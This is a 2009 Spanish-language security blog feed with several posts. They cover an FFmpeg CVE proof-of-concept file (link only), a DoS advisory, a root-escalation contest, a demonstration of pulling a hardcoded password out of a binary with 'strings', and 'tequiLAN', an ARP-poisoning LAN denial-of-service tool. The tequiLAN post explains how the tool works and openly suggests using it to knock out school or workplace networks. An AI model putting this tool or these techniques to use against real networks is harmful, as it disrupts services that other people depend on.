&amp;#39;T&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  HEAD_TAG MKTAG(&amp;#39;H&amp;#39;, &amp;#39;E&amp;#39;, &amp;#39;A&amp;#39;, &amp;#39;D&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  TRK__TAG MKTAG(&amp;#39;T&amp;#39;, &amp;#39;R&amp;#39;, &amp;#39;K&amp;#39;, &amp;#39;_&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  MOVI_TAG MKTAG(&amp;#39;M&amp;#39;, &amp;#39;O&amp;#39;, &amp;#39;V&amp;#39;, &amp;#39;I&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  VTRK_TAG MKTAG(&amp;#39;V&amp;#39;, &amp;#39;T&amp;#39;, &amp;#39;R&amp;#39;, &amp;#39;K&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  STRK_TAG MKTAG(&amp;#39;S&amp;#39;, &amp;#39;T&amp;#39;, &amp;#39;R&amp;#39;, &amp;#39;K&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  std__TAG MKTAG(&amp;#39;s&amp;#39;, &amp;#39;t&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;_&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  name_TAG MKTAG(&amp;#39;n&amp;#39;, &amp;#39;a&amp;#39;, &amp;#39;m&amp;#39;, &amp;#39;e&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  vtrk_TAG MKTAG(&amp;#39;v&amp;#39;, &amp;#39;t&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;k&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  strk_TAG MKTAG(&amp;#39;s&amp;#39;, &amp;#39;t&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;k&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  ifrm_TAG MKTAG(&amp;#39;i&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;m&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  pfrm_TAG MKTAG(&amp;#39;p&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;m&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  cfrm_TAG MKTAG(&amp;#39;c&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;m&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  ifr2_TAG MKTAG(&amp;#39;i&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;2&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  pfr2_TAG MKTAG(&amp;#39;p&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;2&amp;#39;)&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#define  cfr2_TAG MKTAG(&amp;#39;c&amp;#39;, &amp;#39;f&amp;#39;, &amp;#39;r&amp;#39;, &amp;#39;2&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;#define  snd__TAG MKTAG(&amp;#39;s&amp;#39;, &amp;#39;n&amp;#39;, &amp;#39;d&amp;#39;, &amp;#39;_&amp;#39;)&lt;/span&gt;&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Por lo cual dudo de su existencia, el PoC que hice esta usando dicha LIST pero al parecer el programa dentro del codigo no lo toma en cuenta, voy a seguir probando para generar un PoC que funcione:&lt;br&gt;&lt;br&gt;Aqui esta el que cree &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/PoC/4xm%7C_evil.4xm" target="_blank" class="posted"&gt;4xm_evil.4xm&lt;/a&gt;&lt;br&gt; &lt;br&gt;El código en C con el cual lo cree esta bien raro, por lo cual mejor prefiero ordenarlo un poco mas y liberarlo.&lt;br&gt;&lt;br&gt;Espero y les interese, Saludos.&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-8479169251560547799?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/8479169251560547799/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=8479169251560547799' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8479169251560547799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/8479169251560547799'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/cve-2009-0385-ffmpeg-type-conversion.html' title='CVE-2009-0385: FFmpeg Type Conversion Vulnerability'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-6331040630363769032</id><published>2009-03-17T20:58:00.001-06:00</published><updated>2009-03-17T20:58:51.356-06:00</updated><title type='text'>[Cadena] Credo del Programador</title><content type='html'>&lt;p align="center"&gt;&lt;strong&gt;&lt;font size="3" face="Garamond"&gt;Creo en un solo lenguaje de programación, &amp;quot;C&amp;quot; Todopoderoso&lt;br&gt;Creador de UNIX y de Windows&lt;br&gt;Creo en un solo &amp;quot;C++&amp;quot;,&lt;br&gt;hijo único de &amp;quot;C&amp;quot; Nacido de &amp;quot;C&amp;quot; antes de &amp;quot;Visual C++&amp;quot;&lt;br&gt; &amp;quot;C&amp;quot; de &amp;quot;C&amp;quot;, Compilador de Compilador,&lt;br&gt;&amp;quot;C&amp;quot;(c) copyrighted, Compilado, no interpretado,&lt;br&gt;de los mismos programadores que el Padre&lt;br&gt;por quien todo es programado,&lt;br&gt;que por nosotros los hombres y nuestros servidores&lt;br&gt; fue desarrollado&lt;br&gt;y por obra del Lenguaje Binario se encarnó en&lt;br&gt;ensamblador y se hizo Lenguaje&lt;br&gt;y por nuestra causa&lt;br&gt;es ampliamente aceptado en tiempos de Bill Gates.&lt;br&gt;Decayó y fue olvidado y se renovó al tercer día,&lt;br&gt; según los usuarios.&lt;br&gt;Y subieron las ventas, y esta ubicado dentro de todo UNIX&lt;br&gt;Por quien todo es programado&lt;br&gt;Y de nuevo vendrá mejorado para juzgar a virus y programas&lt;br&gt;Y su dominio no tendrá fin.&lt;br&gt;Creo en el lenguaje binario, código y base del sistema&lt;br&gt; Que precede al padre y al hijo. Que con el padre y el hijo&lt;br&gt;recibe una misma aplicación y memoria&lt;br&gt;y que habló por los procesadores...&lt;br&gt;Creo en la arquitectura IBM, que es una, sólida, compacta y compatible.&lt;br&gt;Confieso que no hay ni un solo &amp;quot;undo&amp;quot; para la corrección de los errores&lt;br&gt; Espero la resurrección de las Macs y la vida en un mundo con Internet...&lt;/font&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;p align="center"&gt;&lt;strong&gt;&lt;font size="3" face="Garamond"&gt;Enter&lt;/font&gt;&lt;/strong&gt;  &lt;/p&gt;&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-6331040630363769032?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/6331040630363769032/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=6331040630363769032' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6331040630363769032'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6331040630363769032'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/cadena-credo-del-programador.html' title='[Cadena] Credo del Programador'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-4880423881682691863</id><published>2009-03-15T13:41:00.003-06:00</published><updated>2009-03-15T14:16:24.768-06:00</updated><title type='text'>I need beta-testers 4 tequiLAN: simple tool a DoS on LAN</title><content type='html'>Bueno, escribo esto para solicitar su ayuda testear la herramienta que he creado &amp;quot;tequiLAN&amp;quot;.&lt;br&gt;&lt;br&gt;¿Que es tequiLAN?&lt;br&gt;Es una herramienta creada mediante libnet y libpcap, genera un DoS en la LAN utilizando ARP Poison.&lt;br&gt; &lt;br&gt;¿Como lo hace?&lt;br&gt;A cada petición ARP-REQUEST que llege al NIC y que no tenga nuestra dirección IP Responde con un ARP-REPLY con la IP Pedida y una MAC Aleatoria.&lt;br&gt;&lt;br&gt;Esto como la mayoría ya sabrá y ha experimentado con herramientas como nemesis, arpspoof entre otras, nos puede generar un DoS o si lo aprovechamos podremos crear un redirector de trafico hacia nuestra NIC sin embargo esos ya existen y pues no quiero reinventar la rueda.&lt;br&gt;&lt;br&gt;¿Usos principales?&lt;br&gt;Pues si estamos en la escuela y no queremos hacer un examen Online o parecido pues simplemente podremos tumbar la red.&lt;br&gt;O igual si nos queremos dar un tiempo en el trabajo pues también lo usamos.&lt;br&gt; &lt;br&gt;¿Ética?&lt;br&gt;Ninguna es una herramienta totalmente fuera de ética, solo lo programe por programarlo. Así que si alguien quiere comentar sobre mis intenciones o las implicaciones que pueda tener pues que me lo mande por PM y no aquí.&lt;br&gt;&lt;br&gt;&lt;hr&gt;&lt;b&gt;&lt;br&gt;Archivo: &lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/tequiLAN%7C_0.1.tar.bz2.gpg" target="_blank" class="posted"&gt;tequiLAN_0.1.tar.bz2.gpg&lt;/a&gt;&lt;br&gt; &lt;/b&gt;&lt;br&gt;Efecto sobre el router:&lt;br&gt;&lt;br&gt;&lt;a href="http://img88.imageshack.us/img88/4161/tequilaneffect1.png" target="_blank" class="posted"&gt;&lt;img src="http://img88.imageshack.us/img88/4161/tequilaneffect1.png" alt="" border="0"&gt;&lt;/a&gt;&lt;br&gt;&lt;br&gt; Consumo de Recursos al Reservar memoria para Equipos inexistentes&lt;br&gt;&lt;br&gt;Efecto sobre las victimas:&lt;br&gt;&lt;br&gt;&lt;a href="http://img140.imageshack.us/img140/5828/tequilaneffect9.png" target="_blank" class="posted"&gt;&lt;img src="http://img140.imageshack.us/img140/5828/tequilaneffect9.png" alt="" border="0"&gt;&lt;/a&gt;&lt;br&gt; &lt;br&gt;DoS&lt;br&gt;&lt;br&gt;Apariencia de la salida&lt;br&gt;&lt;br&gt;&lt;a href="http://img88.imageshack.us/img88/4283/tequilaneffect3.png" target="_blank" class="posted"&gt;&lt;img src="http://img88.imageshack.us/img88/4283/tequilaneffect3.png" alt="" border="0"&gt;&lt;/a&gt;&lt;br&gt; &lt;hr&gt;&lt;br&gt;Cosas que hay que testear&lt;br&gt;&lt;br&gt;Utilidad del Makefile&lt;br&gt;¿Se necesitan cambios?&lt;br&gt;¿Otra organización?&lt;br&gt;&lt;br&gt;Sugerencias para mejorar funciones, estructuras, compatibilidad, rendimiento, Licencia etc.&lt;br&gt;&lt;br&gt;Bueno si alguien quiere ayudar a testear la librería, que me mande un correo y le paso el password.&lt;br&gt; &lt;br&gt;Saludos&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-4880423881682691863?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/4880423881682691863/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=4880423881682691863' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4880423881682691863'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/4880423881682691863'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/i-need-beta-testers-4-tequilan-simple.html' title='I need beta-testers 4 tequiLAN: simple tool a DoS on LAN'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-6306029995170475129</id><published>2009-03-12T12:19:00.001-06:00</published><updated>2009-03-12T12:19:56.090-06:00</updated><title type='text'>publicado flv2mpeg4</title><content type='html'>Bueno, pues simple, ya fue publicado el mensaje de &lt;a href="http://anon-ehn.spaces.live.com/blog/cns%214D0C9DBA4E99E162%21271.entry"&gt;flv2mpeg4: Malformed parameters Denial of Service&lt;/a&gt; en securityfocus&lt;br&gt;&lt;br&gt;&lt;a href="http://www.securityfocus.com/archive/1/501704/30/0/threaded"&gt;http://www.securityfocus.com/archive/1/501704/30/0/threaded&lt;/a&gt;&lt;br&gt; &lt;br&gt;haha no pensé que el error lo publicaran por el hecho de ser un error menor y además solo lo publique para ejemplificar como se podría dar el reporte de una vulnerabilidad, ya que anteriormente lo había mandado a milw0rm y me comentaron que no encajaba por el hecho de no poder escalar privilegios.&lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;br&gt;Saludos.&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-6306029995170475129?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/6306029995170475129/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=6306029995170475129' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6306029995170475129'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/6306029995170475129'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/publicado-flv2mpeg4.html' title='publicado flv2mpeg4'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-7550744723967571273</id><published>2009-03-12T09:57:00.001-06:00</published><updated>2009-03-12T09:57:27.688-06:00</updated><title type='text'>Torneo de elevación de privilegios en WarZone (Torneo_Root)</title><content type='html'>Se ha hecho un torneo nuevo de elevación de privilegios llamado Torneo_Root.&lt;br&gt;&lt;br&gt;&lt;b&gt;El objetivo, es obtener root en el servidor, por cualquier manera posible.&lt;/b&gt;&lt;br&gt;&lt;br&gt;&lt;b&gt;Va a estar online por 1 mes exactamente&lt;/b&gt;&lt;br&gt; &lt;br&gt;El primero que lo logre tendra puntos extra y una cuenta @&lt;a href="http://elhacker.net"&gt;elhacker.net&lt;/a&gt; con acceso a todos sus servicios.&lt;br&gt;&lt;br&gt;Se daran puntos extras por cualquier vulnerabilidad local en el sistema que afecte la integridad del torneo.&lt;br&gt; &lt;br&gt;Los detalles estan en:&lt;br&gt;&lt;span style="font-size: 16pt; line-height: 1.3em;"&gt;&lt;a href="http://warzone.elhacker.net/pruebas.php?p=56" target="_blank" class="posted"&gt;http://warzone.elhacker.net/pruebas.php?p=56&lt;/a&gt;&lt;/span&gt;&lt;br&gt; &lt;br&gt;Obtienen su login en el servidor en:&lt;br&gt;&lt;a href="http://warzone.elhacker.net/wzon.php" target="_blank" class="posted"&gt;http://warzone.elhacker.net/wzon.php&lt;/a&gt;&lt;br&gt;&lt;br&gt;Se conectan por SSH al puerto 22 (para usuarios de windows pueden usar PuTTy).&lt;br&gt; &lt;br&gt;Fue hecha con la colaboración de &lt;a href="http://hackbsd.org/" target="_blank" class="posted"&gt;hackbsd.org&lt;/a&gt;&lt;br&gt;&lt;br&gt;Diviertanse!!&lt;br&gt;&lt;br&gt;Saludos!!&lt;br clear="all"&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-7550744723967571273?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/7550744723967571273/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=7550744723967571273' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7550744723967571273'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/7550744723967571273'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/03/torneo-de-elevacion-de-privilegios-en.html' title='Torneo de elevación de privilegios en WarZone (Torneo_Root)'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-2673913443627245416</id><published>2009-03-11T09:15:00.001-06:00</published><updated>2009-03-11T09:15:56.243-06:00</updated><title type='text'>Get codes and passwords unprotected program</title><content type='html'>&lt;div style="text-align: left;" dir="ltr"&gt;This is a simple example of how it could violate an application to request password or keys, and that is not protected. &lt;br&gt;&lt;br&gt; The example of the application binary that would be the following code:&lt;/div&gt;  &lt;br&gt;&lt;a href="http://cid-4d0c9dba4e99e162.skydrive.live.com/self.aspx/.Public/src/easyKey.c" target="_blank"&gt;easyKey.c&lt;/a&gt;&lt;br&gt; &lt;div&gt;Código&lt;/div&gt;&lt;pre&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br&gt;    &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;password &lt;span style="color: rgb(51, 153, 51);"&gt;=&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;A9D6B4C3E2F1&amp;quot;&lt;/span&gt;;&lt;br&gt;    &lt;br&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; main&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(153, 51, 51);"&gt;int&lt;/span&gt; argc, &lt;span style="color: rgb(153, 51, 51);"&gt;char&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;**&lt;/span&gt;argv&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;   	&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;argc &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;   		&lt;span style="color: rgb(177, 177, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;strncmp&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;password,argv&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;,strlen&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;password&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;==&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;&lt;br&gt;   			&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html" target="_blank"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;ok&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;   		&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;&lt;br&gt;			&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html" target="_blank"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;no&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;   	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;else&lt;/span&gt;	&lt;span style="color: rgb(0, 153, 0);"&gt;{&lt;/span&gt;&lt;br&gt;		&lt;a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html" target="_blank"&gt;&lt;span style="color: rgb(0, 0, 102);"&gt;printf&lt;/span&gt;&lt;/a&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;Use:&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;%s &amp;lt;key&amp;gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,argv&lt;span style="color: rgb(0, 153, 0);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;)&lt;/span&gt;;&lt;br&gt;   	&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt;	&lt;span style="color: rgb(177, 177, 0);"&gt;return&lt;/span&gt; &lt;span style="color: rgb(204, 102, 204);"&gt;0&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;}&lt;/span&gt;&lt;br&gt; &lt;br&gt; &lt;/pre&gt;&lt;br&gt;  After compile and run:&lt;br&gt;&lt;br&gt;&lt;div&gt;Código&lt;/div&gt;&lt;pre&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gcc&lt;/span&gt; -o easyKey easyKey.c&lt;br&gt;   Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey&lt;br&gt;Use:&lt;br&gt;       .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;lt;&lt;/span&gt;key&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey xD&lt;br&gt;   no&lt;br&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;@&lt;/span&gt;localhost &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt; .&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;easyKey &lt;span style="color: rgb(0, 0, 0);"&gt;1234&lt;/span&gt;&lt;br&gt;   no&lt;br&gt; &lt;/pre&gt;&lt;br&gt;Can see that the code &amp;quot;key&amp;quot; we can get using the strings that come in most Unix environments&lt;br&gt;&lt;br&gt;&lt;div&gt;Código:&lt;/div&gt;&lt;div&gt;&lt;pre style="margin-top: 0pt; display: inline;"&gt;Anon@localhost % strings easyKey&lt;br&gt;  /libexec/ld-elf.so.1&lt;br&gt; FreeBSD&lt;br&gt;_Jv_RegisterClasses&lt;br&gt;libc.so.7&lt;br&gt;printf&lt;br&gt;puts&lt;br&gt;environ&lt;br&gt;__progname&lt;br&gt;strncmp&lt;br&gt;_init_tls&lt;br&gt;atexit&lt;br&gt;strlen&lt;br&gt;_end&lt;br&gt;FBSD_1.0&lt;br&gt;$FreeBSD: src/lib/csu/i386-elf/crti.S,v 1.7 2005/05/19 07:31:06 dfr Exp $&lt;br&gt;   A9D6B4C3E2F1&lt;br&gt;Use:&lt;br&gt;    %s &amp;lt;key&amp;gt;&lt;br&gt;$FreeBSD: src/lib/csu/i386-elf/crtn.S,v 1.6 2005/05/19 07:31:06 dfr Exp $&lt;br&gt;Anon@localhost % ./easyKey A9D6B4C3E2F1&lt;br&gt;ok&lt;br&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br clear="all"&gt;&lt;div style="text-align: left;" dir="ltr"&gt;   I hope and will help you someday. &lt;br&gt;&lt;br&gt; Regards&lt;/div&gt;&lt;br&gt;-- &lt;br&gt;- Anon&lt;br&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-2673913443627245416?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/2673913443627245416/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=2673913443627245416' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2673913443627245416'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/2673913443627245416'/><link rel='alternate' type='text/html' 